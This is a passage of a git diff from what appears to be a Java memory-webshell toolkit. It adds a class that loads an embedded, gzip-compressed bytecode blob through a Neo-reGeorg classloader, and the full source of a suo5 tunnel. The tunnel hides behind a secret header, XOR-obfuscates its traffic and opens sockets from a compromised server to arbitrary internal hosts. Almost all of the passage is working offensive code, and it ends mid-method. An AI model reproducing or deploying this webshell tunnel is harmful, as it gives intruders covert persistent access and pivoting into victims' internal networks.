96, 45, -45, 55, 91, -79, -40, 52, -6, 40, 63, 80, -101, 70, -11, 54, 97, 94, -24, -26, -77, 50, 68, -25, 14, -62, 76, -119, 75, 34, -35, -23, 68, -110, 122, -72, -102, -70, 34, 34, 21, -32, 52, -103, -26, 26, 13, 46, 98, -82, 49, 55, -103, 103, 94, -95, 108, 78, -60, 98, -90, -33, 40, 101, 9, -79, 104, 42, 61, 98, -92, -47, -107, -44, 126, 8, 6, -36, -56, 87, 109, -124, -49, 65, -103, -44, -87, -49, -29, 88, -102, -112, 127, -43, 56, 101, 126, -91, -123, 48, 126, -110, 105, -90, -103, 72, 114, 24, -25, 83, 109, -75, -32, 68, -44, 55, 22, 74, -100, -42, 69, 82, 29, -122, 95, -23, 41, 83, -13, 42, -60, -115, 77, -31, -109, -53, 53, -43, -66, -111, 56, 60, 59, 73, 17, -100, 76, 111, -26, -122, -13, 40, 29, -14, -104, -121, 50, -98, 92, -109, 95, 111, 41, -50, 108, 62, -108, -76, -13, 79, -72, 59, 37, 100, -85, 41, 23, -22, -116, -98, 124, 98, 49, 76, 82, -127, 50, 6, -67, 126, -117, -66, 89, -80, -105, 68, -11, 88, 15, -35, 44, 43, 48, -122, -7, -19, 57, -82, 0, 64, 41, -126, 62, -28, -62, -36, -78, 21, 34, 19, -88, 16, -39, -64, -15, -102, -97, -105, -83, 125, 113, -54, -67, -51, 17, 118, 81, 105, 33, 87, 83, -116, 78, 61, 53, 64, 33, -96, -101, 31, -91, -109, -13, -44, -52, 43, 73, 77, -26, -27, -106, 100, 50, -111, -76, -75, -55, -17, -91, 55, 83, -101, -33, -49, -23, -107, 67, -93, 59, 49, -80, -103, 63, -24, -58, -6, -91, -75, 8, -56, -80, -121, 64, -90, -89, -5, 50, 37, -93, -108, 110, 124, -13, 8, -100, 118, 56, -86, -19, 100, 115, -44, 70, -126, 115, 103, -54, 0, 112, 16, -26, -27, 38, 19, -85, -87, -8, -9, -79, -23, -122, 81, -72, -28, -94, 110, 51, -101, 81, -119, -82, 27, 77, -55, -86, -29, -26, -43, 50, 66, -20, -115, -10, -47, -117, 94, 68, 31, -56, -21, -115, -36, 94, 71, -71, -83, -104, -76, 58, -65, 51, 46, 58, 35, 18, 59, -115, 100, 120, -22, 127, -1, -76, -4, 111, 95, -115, -50, 62, 22, 119, 86, 17, 2, 69, -47, 93, 73, -67, 63, -79, 65, -73, -65, 21, -30, 86, -21, 97, 55, -121, 114, 36, -58, -97, -7, 92, 59, -90, -28, -118, 75, 33, 82, 19, 31, 21, 61, -32, 42, 33, 26, -98, -49, 89, -108, 17, 44, -46, 84, 107, -12, 72, 50, -33, 53, -71, 67, 34, 89, -110, 78, -28, 90, 32, 106, -72, 70, 126, -23, 24, -61, 92, -24, -115, 69, -23, 13, 40, -108, 6, 58, -11, -2, 8, 37, 103, 54, 121, 69, 93, 115, -79, 26, 109, -35, 9, 28, 99, 73, -73, 89, -44, 25, -82, 21, 83, 3, 49, -50, -4, -59, -46, 69, -63, 47, 25, -71, -46, 76, 90, -84, -92, 46, 34, 105, 62, 51, -87, -49, 44, 103, -108, 7, 104, 53, -70, 117, 76, -79, -102, -7, -49, 55, 63, -51, -110, 1, 73, -65, 118, 122, -79, 45, 49, -67, -97, 62, 42, 8, -69, -124, 19, -99, -75, 53, -117, 70, 94, -77, -55, -28, 74, 45, 126, -71, -2, -45, -54, 51, -83, 102, 106, 50, 26, -59, 60, -5, -113, 116, -113, 92, -81, -93, -87, -123, -87, 20, -1, -60, 69, -31, -71, 36, -103, -24, -25, -116, 58, 6, -49, -56, -73, 43, 86, -97, -35, 66, 113, 95, -124, -56, 25, 69, 12, 53, -10, -9, -112, 124, -10, 73, -67, -105, -33, 68, -93, -39, 35, 52, 89, 101, -68, -40, 25, -1, -40, -109, -30, -97, 14, 72, 74, -93, 109, 27, -105, 50, 127, 74, -80, -9, 46, -13, -25, 26, -124, -45, -118, -68, -123, 99, -3, 13, 70, 98, 27, -101, 121, -89, -50, 48, -100, -101, 1, 70, 82, -121, -23, 112, 23, -108, -128, 3, 118, -61, -35, -32, -92, -7, 30, -72, 23, -128, -26, 61, 112, 31, -51, 110, -2, 32, 2, -124, 7, 12, -40, -125, -32, -93, 117, 22, -10, -47, 56, 68, -112, 50, -102, -111, 102, -47, 79, 16, 70, -25, 95, 14, -24, 11, -64, 60, 118, -67, 5, 46, 56, -114, -26, -117, -21, 15, -125, -125, -2, -75, 7, -100, 115, 58, 2, -62, -100, -112, -32, 15, -120, 115, 14, -125, -109, -2, 61, 8, -76, 113, -47, 70, -92, 127, 15, -126, 43, 32, -47, 90, -54, -126, 28, 20, 3, -78, -67, 116, 5, -68, 46, 123, 45, 5, -68, -116, -30, 14, -55, 1, 111, 14, -63, 29, -16, -70, -19, -75, 39, -32, -11, -40, -21, -110, -128, -73, -60, 94, 43, 66, 112, -100, 24, 44, 117, 5, -57, 75, 65, -81, 28, 44, -13, -70, -126, 62, -81, 20, -100, 64, -21, -119, 94, 119, 80, -43, 4, -97, -57, 121, 16, 74, -122, 64, 57, 12, -29, 66, -109, -68, 117, -76, 9, 77, 54, -89, 41, -66, -46, -112, 70, 127, -27, 13, -66, -15, 57, 36, -55, -92, -20, -72, 21, -18, -94, -93, -118, 6, -97, 55, 119, 84, 22, -102, -86, 77, -51, -126, 47, 88, -87, 86, 58, 118, -128, 43, 3, -89, -88, -107, 15, -53, -95, 105, -38, 84, 109, 90, 22, 38, -104, -80, -38, 3, 48, 113, -11, 62, 80, -75, -118, 44, 76, 58, 0, -18, -43, -38, -76, 125, 48, -103, -42, 89, -104, 18, -86, -56, 12, 63, -94, 122, -124, 29, 16, -46, 42, -100, 106, 73, 22, -76, -112, -90, 85, 48, 106, -71, -86, -12, 24, 51, -61, -54, -75, 10, 62, -84, 8, -47, -111, -45, 62, -27, -125, 10, 63, -17, -90, -122, 42, -75, 74, -43, 61, 4, -107, 67, 48, 45, 52, 57, 99, 32, 78, -30, -109, -22, 44, 76, -41, -120, 83, 13, 15, -75, -50, -35, -38, 100, 117, -94, 97, 88, 34, 116, -60, 113, 5, 109, 85, 99, 75, -118, -8, 102, 100, 97, -26, 54, 80, 12, -118, -77, -74, 59, -94, -116, -117, 97, 70, -95, 81, -16, 29, 103, -23, -35, -43, -32, -85, -53, -103, -64, 29, -86, 60, 0, -77, 87, 107, 21, -5, -64, 79, 122, -109, -42, 20, 6, -127, 80, -107, 86, -91, 85, 102, -95, 65, -85, 18, -78, 112, -68, -81, 81, -85, -54, -62, 9, -37, -128, -26, -61, -48, -24, -49, -62, -119, -66, 57, 67, 48, 55, 84, -83, 85, -93, 112, 16, 78, 90, -19, -12, -121, 49, 11, 39, 27, -57, 26, -55, 28, -52, -62, 41, 13, -66, 83, 115, 108, 78, 99, -44, 33, 8, -123, -90, 107, -45, -121, -96, 73, -101, -66, 31, -26, 33, -124, 106, -76, -102, -3, 48, 31, 97, 27, -52, -31, -43, 2, 4, -106, -88, -74, -63, 119, 58, 81, 45, 89, -19, -44, 106, -61, -106, -108, 51, 72, -96, -38, 33, 56, 67, 35, 37, 23, 102, -122, -97, 41, -18, -31, 21, 44, -25, -94, 80, 77, 6, -92, 16, 25, -53, 118, -100, 70, -50, -14, -109, 29, 76, 3, 55, 103, 97, 49, 1, -76, 114, -53, -123, -75, 90, 109, 22, 90, -120, 67, -115, 54, -61, -87, -51, 56, -108, -123, 37, 90, 77, 22, -50, -28, 97, 41, 19, 108, -35, 15, 103, -15, -117, 89, 86, 32, -15, 89, -7, 18, 107, -75, 71, 32, -88, -43, -6, -38, -78, -48, -66, 29, 2, -76, -22, 48, 86, 53, 44, 118, 22, -106, 19, 117, -63, 119, -74, 104, 43, -75, 90, -48, 102, -80, 102, 93, -103, -31, -67, -52, -31, 51, 101, 120, -35, 78, 24, -57, -53, 78, -106, 126, 38, -81, -62, -52, -20, 41, -48, -24, -26, 10, -45, 28, -86, 72, 10, 24, -9, -100, -69, -53, 4, -96, 72, -99, 113, 0, 86, -110, -118, -85, 66, 51, 89, 122, 10, -39, -43, -63, 90, -78, -61, 52, -75, -106, 14, 103, -79, 62, -77, -100, 42, -39, -83, 75, -101, -87, -51, -54, -62, 57, -103, -31, -41, -75, -103, 89, 88, 77, 103, -126, -17, 92, 83, 30, 95, 27, -53, 67, -89, -27, 67, 112, -98, 65, 125, -124, -93, 33, -100, -51, -108, 34, -110, -80, 62, 59, 58, 34, 5, -33, -7, 118, 100, 21, 19, -107, -20, 94, 106, -121, -24, 17, -4, -104, -74, -29, -115, 109, 37, 69, -20, -25, 40, 98, -73, 3, 7, -86, -49, -128, 77, -93, -43, 4, 94, 13, -63, 5, -63, -86, 33, 88, -61, 97, -109, -123, -56, 1, 88, 75, -81, 78, -83, -38, 7, -35, 101, 37, 67, 89, -24, -47, -86, -99, 89, -48, -69, -10, 66, -81, 86, -87, 85, -17, -121, 62, 39, -87, 56, 69, -11, -6, -42, -123, 51, -104, 34, 58, -68, -114, -122, 105, 42, -29, -104, -82, 38, -24, -7, -60, -17, 66, -125, 95, -125, 113, 109, 63, -84, 119, -112, -13, 98, 102, -44, 71, -78, -48, -97, 1, 49, 84, 101, -99, -59, 29, -48, -107, -63, -39, 116, 39, 97, -36, -71, 107, -52, -99, 35, -80, 81, 117, 13, -63, 0, -67, -107, 105, 108, -90, -117, -126, -43, -86, 20, -100, -18, 12, -42, -40, 62, -87, 85, -85, 111, -127, 78, -75, -102, -3, -60, 24, 73, -118, 46, -89, 90, -51, -34, -88, 101, 103, -99, -61, -64, 84, -105, 90, -93, 86, -81, 9, -46, -96, -70, 110, 3, 15, -19, -90, -33, 6, 94, -110, 124, 28, 71, 78, 58, -100, -127, -15, 57, 6, -103, -31, 123, 109, 45, 97, 18, 49, -50, -45, -78, -54, -48, 18, 54, -110, -60, -125, -122, -60, -3, -93, 37, -98, -84, -114, -77, 50, 56, 63, -17, 67, 44, 58, 89, -105, 47, 110, -24, 98, 43, 111, 52, -58, 77, -37, -96, -108, -8, -47, 106, 51, 69, -25, 7, 57, 118, -45, -118, -80, -77, 13, -89, -47, -21, -102, 82, -16, -70, -14, 34, 36, 3, 85, -102, -111, 54, -3, -102, 76, -103, -50, 72, -99, 5, -57, 66, -69, 115, 55, 21, -73, 103, -15, 42, -68, 22, -86, 28, 79, 56, -98, 117, -68, 0, 85, -62, 22, -31, 41, -31, 25, -102, 63, 17, 81, 20, -96, 74, 108, 16, -17, 22, -9, -48, -4, -90, 107, -86, -85, 10, -86, -88, -120, -19, 114, 109, -122, 42, -68, -61, -15, 50, -49, -114, 87, -100, 119, -13, -20, -68, 71, 8, -14, 44, -100, -30, -38, -64, -77, 81, -19, 14, -64, -61, 102, -75, -61, 73, 32, -126, 76, -77, -25, 0, 108, 33, 39, 125, -66, -67, -2, -48, 2, 103, 80, 80, -123, -54, -99, -16, 81, -67, 42, 92, 38, -32, -36, 50, 24, -34, 26, 20, 9, -76, 3, -22, 3, -2, 7, 64, 80, 69, -15, -30, -109, -78, 112, 113, -105, -75, 115, 109, -107, 54, -103, 123, -33, 23, -78, -80, -75, 43, 3, -5, -13, -81, -70, -116, -85, 45, 71, -67, -86, -70, -54, -32, -125, -83, -46, -59, -105, -28, 29, -72, -68, -29, -73, -118, 54, -47, 47, -102, 68, 123, -14, -119, 74, -1, 15, 114, -86, 84, 6, -121, -73, 122, 93, 5, 71, -110, -9, -12, -83, -58, 54, 51, -84, 4, -78, 112, -55, 30, -85, 35, 56, 8, -121, 44, 27, -7, 64, 0, 15, -51, -82, 122, -54, -117, -19, -127, 67, 11, 56, -96, 43, -9, -63, -91, 33, -63, 73, 118, 17, -55, 84, -17, 16, 41, 87, 64, 21, 47, 19, 113, -18, 92, 82, -104, 97, 110, -43, -27, -72, 117, -8, 93, 26, -115, -78, -7, 100, 1, -118, 100, -95, 72, 6, -118, 100, -94, -20, -44, 72, 82, 22, -45, 123, 2, -53, -97, -123, 47, 89, -8, 65, 89, -107, -67, -13, 119, -128, 91, -93, -14, -109, -34, -61, -108, 84, -103, -95, 38, 17, 74, -11, -61, -81, -47, 104, 16, 57, 95, 99, -99, -58, -77, 33, 100, -17, -68, -83, 98, 1, 29, -73, -22, 30, 77, -57, -51, 80, -109, -114, -37, -96, -29, 54, -23, 80, 107, -95, -54, 46, -78, -42, 38, -43, -51, 36, 50, -61, 83, -52, 91, -122, 125, 100, -2, 97, -98, -102, 43, 110, -88, 82, 100, 31, 23, -51, 125, -66, -46, 54, -65, -17, -53, 89, -72, -116, -115, 100, 71, -47, -46, -128, 74, -51, -109, 104, -43, -98, 122, -82, 52, -94, -109, 8, 81, 17, -70, -36, -40, -48, -70, -62, 44, 61, 109, 121, 72, 76, -57, -128, -111, -57, 51, -61, 67, -11, 78, 2, -106, 11, -36, 35, -104, 2, 60, 74, 127, 2, 57, -120, 3, -6, 49, 120, -36, 18, 101, 61, 117, -125, 18, -51, 23, 112, 17, -81, -89, 26, -98, -123, 43, -38, -121, -32, -54, -114, -122, -3, -16, 21, -82, 82, 103, -46, -30, -85, 92, -92, -82, 10, 9, -84, -50, -43, 33, 81, 19, -83, -77, 58, 94, 25, -121, -41, -124, 92, -102, -21, 81, -72, 118, 27, -108, 105, -82, 44, 124, -115, -30, -30, -21, -37, 64, 20, 118, 103, -122, 95, -51, 12, 103, -23, 125, 22, -118, -32, -26, -1, -13, -79, -38, -53, 107, -23, 69, 81, -76, -64, -91, 70, 15, -42, -18, 92, -32, 63, 20, 20, 36, -54, 121, -82, 3, 112, -35, 106, -22, 57, -81, 15, 73, -107, -86, -80, 19, 34, 26, 85, -23, 111, 4, 69, 77, -46, 92, 78, -51, 69, 117, -10, -122, 46, -115, 50, -24, 55, 73, 83, -71, -121, 93, 78, -105, -36, 116, -22, 118, 106, 110, -29, -76, -110, 96, 107, -42, 44, 80, 69, 97, 23, 53, 76, -94, -41, 125, 59, 76, 32, -49, 26, 61, -104, -101, 18, 9, -91, 37, 55, -19, 53, 119, 56, 51, 124, 107, -64, -76, -109, -101, -1, -53, -60, 18, -19, 106, 18, -105, -83, -77, -47, -17, -108, -67, 19, -121, -32, 91, 97, -65, -9, 56, 107, 101, 37, 105, -110, -73, -46, 127, 104, 39, 116, -6, 43, -25, 28, -127, 37, 52, -78, -99, 30, 5, -9, 54, -54, -63, 2, 85, 34, 110, 13, -60, 12, -43, 102, -63, -54, -99, 98, -96, -110, 3, 76, 19, 15, -79, -36, 107, -122, -32, -37, -108, -55, 105, -53, -43, -107, -114, 93, -105, 57, -55, 127, -9, 4, -116, -56, 65, -24, -124, 62, -72, -48, 112, -102, -101, -1, 27, -49, 114, 91, -52, -118, -96, 53, -127, 67, 7, -31, -58, 14, 35, 116, 2, 36, -59, 50, -114, -99, 44, 124, 39, 36, -6, 36, -90, -72, 109, 27, -108, -20, -123, -19, 44, -64, 12, -33, 77, 35, -112, -17, 50, -60, -25, -69, -39, -126, -56, 123, -31, -106, -112, -40, -96, 10, -102, 24, 54, -62, -25, 1, 127, 125, 67, 96, 8, 110, 29, 29, 58, 110, -2, -31, -35, -110, -31, 68, 10, 29, -106, 97, -90, -97, 25, -110, -46, -11, 36, -13, 14, 14, -113, 44, -36, -74, -99, -98, 12, 7, -22, 78, 77, -12, 55, 100, -31, -10, -79, -124, -98, -125, -25, 45, 43, 31, 79, -124, 68, -102, -87, -18, -19, 34, -109, -34, -47, 30, -88, 40, -17, 17, -42, 100, -31, 123, -27, 107, 22, 112, 59, 45, 4, 56, -14, 50, -102, 96, 123, -24, 5, 120, -47, -70, 123, -118, -15, 53, 3, 80, -17, 119, 25, 105, -50, 47, 26, -109, 87, -34, 116, -119, 95, 48, -105, 94, 90, 58, -51, -27, -108, 77, -105, -52, -85, -40, 109, 17, 121, 9, 94, -74, -120, -100, 78, 66, 49, -111, -71, 20, 117, 109, -11, -82, 114, -58, -67, 126, 69, -67, 88, -18, -107, -73, 88, 107, -95, -36, -21, -75, -41, -50, 114, -17, 20, 123, 109, 39, -65, 87, -32, 71, 22, -79, 82, -102, -99, 52, 59, -124, -35, -42, -39, -85, -16, 99, -53, 100, -29, -24, -113, -49, -84, -81, 40, -37, 28, 63, -95, -65, -97, 30, 11, -46, 107, -16, -77, -47, -33, 100, -44, 57, 125, -33, -50, 48, -81, -25, 62, -39, 38, 27, -6, 0, -108, 28, -128, 59, -55, -92, 63, -72, 31, 122, 77, 106, -16, 63, -22, -91, 95, 93, 55, 37, 0, 0}); + Class clazz = new NeoreGeorgUndertowServletHandler(this.getClass().getClassLoader()).load(clazzBytes); + namespace.put(chars, clazz.newInstance()); + } + namespace.get(chars).equals(map); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java new file mode 100644 index 00000000..911989e3 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5.java @@ -0,0 +1,569 @@ +package com.reajason.javaweb.memshell.shelltool.suo5; + + +import javax.net.ssl.*; +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5() { + } + + public Suo5(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = args[0]; + Object response = args[1]; + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type"); + if (value == null || !value.contains(headerValue)) { + return false; + } + if (contentType == null) { + return false; + } + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return true; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable ignored) { + } + return true; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(Object request, Object response) throws Exception { + InputStream in = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(Object request, Object resp) throws Exception { + final InputStream reqInputStream = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512); + final OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + + // 0x00 create socket + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5 p = new Suo5(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + try { + sc.close(); + respOutStream.close(); + }catch (Exception ignored) { + + } + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(Object request, Object resp) throws + Exception { + InputStream is = (InputStream) request.getClass().getMethod("getInputStream").invoke(request); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.getClass().getMethod("setStatus", int.class).invoke(resp, 403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.getClass().getMethod("setBufferSize", int.class).invoke(resp, 512); + OutputStream respOutStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.getClass().getMethod("setHeader", String.class, String.class).invoke(resp, "X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.getClass().getMethod("flushBuffer").invoke(resp); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(Object request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getClass().getMethod("getMethod", String.class).toString(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + 